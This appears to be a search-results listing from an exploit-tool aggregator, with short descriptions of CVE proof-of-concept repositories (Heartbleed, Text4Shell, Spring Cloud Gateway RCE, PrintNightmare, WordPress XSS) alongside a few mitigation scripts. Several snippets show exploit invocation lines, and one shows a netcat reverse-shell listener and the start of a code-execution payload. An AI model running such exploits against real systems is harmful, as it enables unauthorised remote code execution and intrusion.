112088 matches found
CVE-2014-0346
CVE-2014-0160 Heartbleed Test Script This script checks for the infamous Heartbleed vulnerability CVE-2014-0160 in SSL/TLS servers. 📜 Credits Based on the original script by Jared Stafford [email protected] Modified and updated by Songül Kızılay for educational and research purposes ⚠️...
CVE-2026-93655
The Booking Calendar WordPress plugin is affected by a Reflected Cross-Site Scripting vulnerability via the wpbc_auto_fill parameter in all versions up to and including 11.8.3 . The root cause is insufficient input sanitization and output escaping . An unauthenticated attacker can inject arbitrar...
CVE-2026-85653 Contextual Related Posts <= 4.4.1 - Authenticated (Author+) Stored Cross-Site Scripting via 'other_attributes' Block Parameter
The Contextual Related Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'otherattributes' Block Parameter in all versions up to, and including, 4.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with...
Sub-folderFetcher
Sub-folder Fetcher 🐣 A script to download specific Vulhub repository folder kibana/CVE-2018-17246 from GitHub. 🚀 Requirements curl unzip 🛠️ Usage root@kitploit: chmod +x subfetcher.sh ./subfetcher.sh...
text4shell-exploit
text4shell-exploit 一个基于Python的定制化概念验证（PoC）利用程序，针对Text4Shell（CVE-2022-42889），这是Apache Commons Text版本 示例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 确保在攻击机上设置监听器： root@kitploit: nc -nlvp 4444 有效载荷逻辑 该脚本注入： root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec...
CVE-2019-12840-NodeJs-Exploit
CVE-2019-12840 root@kitploit: sudo node exploit.js...
CVE-2017-0290-
CVE-2017-0290- Hello i,am Gihad Alkmaty froom Libya script CVE-2017-0290- specialist smash Windows DEFINDER windows/8.1/10/...
CVE-2022-30190
CVE-2022-30190 Mitigation for CVE-2022-30190 Script requires to be run as Adminstrator. This script has been tested with Connectwise Automate RMM tool for deployment. I found this solution cleaner than backup up and deleting anything from the registry, as this can simply update the DWORD key valu...
CVE-2020-2551
CVE-2020-2551 The setup script of this project has been tested on version 10.3.6, version 12 has not been tested. Environment kali+weblogic10.3.6+jdk6u25 Ensure the machine deploying weblogic has at least 1.5G of memory, because the script specifies -x1024m in its parameters. Usage Deploy weblogi...
cve-2020-1350
This is a powershell script that'll grab all the AD servers for the domain your computer is on. It'll then set the CVE 2020-1350 DNS workaround on those servers and restart DNS. NOTE!! it will restart DNS so you might need a maintenance window to run it. This workaround does not mean that you can...
Spring-Cloud-Gateway-CVE-2022-22947
Spring-Cloud-GatewayCVE-2022-22947 Spring Cloud Gateway Remote Code Execution Vulnerability root@kitploit: python3 springrce.py url cmd There is a cache, execute it several times...
Password-Analysis
Password Analysis: Basado en Entropía y Diccionarios de Contraseñas Débiles Script en Go que analiza una lista de contraseñas. Descarga y Compilación Puedes descargar el binario directamente desde los lanzamientos. Si prefieres compilarlo manualmente, considera los siguientes pasos. root@kitploit...
POC-CVE-2021-41773
POC-CVE-2021-41773 this is simple script for the Apache HTTPd 2.4.49 that is vulnerable to CVE-2021-41773. Usage: Check 1 ip Check from file...
Dompdf-Exploit-RCE
Dompdf-Exploit-RCE An exploit script for CVE-2022-28368 designed to make exploitation less annoying, made for a HTB machine Made to make the exploit less tedious and annoying...
text4shell-docker
Install maven - maven-linux 1. Maven install to create the fat jar root@kitploit: mvn clean install 2. Docker build root@kitploit: docker build --tag=text4shell . 3. Docker run root@kitploit: docker run -p 80:8080 text4shell 4. Test the app root@kitploit: http://localhost/text4shell/attack?search...
CVE-2021-34527
CVE-2021-34527 PrintNightmare PoC 👾 📝 Description This simple Python script allows you to send a payload to a target IP address and port using the SMB protocol. It's designed to demonstrate the use of an SMB exploit payload for educational purposes. The payload is a hard-coded SMB message...
CVE-2026-53805
cve-id ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Project use python follow below Create a virtual environment...
CVE-2021-2109
CVE-2021-2109 CVE-2021-2109 basic scanner Use it with root@kitploit: python3 cve-2021-2109.py URL...
Heartexploit
Heartexploit Here is my new first exploit, this exploit attacks the HeartBleed vulnerability CVE-2014-0160, I hope you like it. This exploit only works on linux since part of it is made in languages not compatible with windows. The only command needed to start this application is: ./Heartexploit....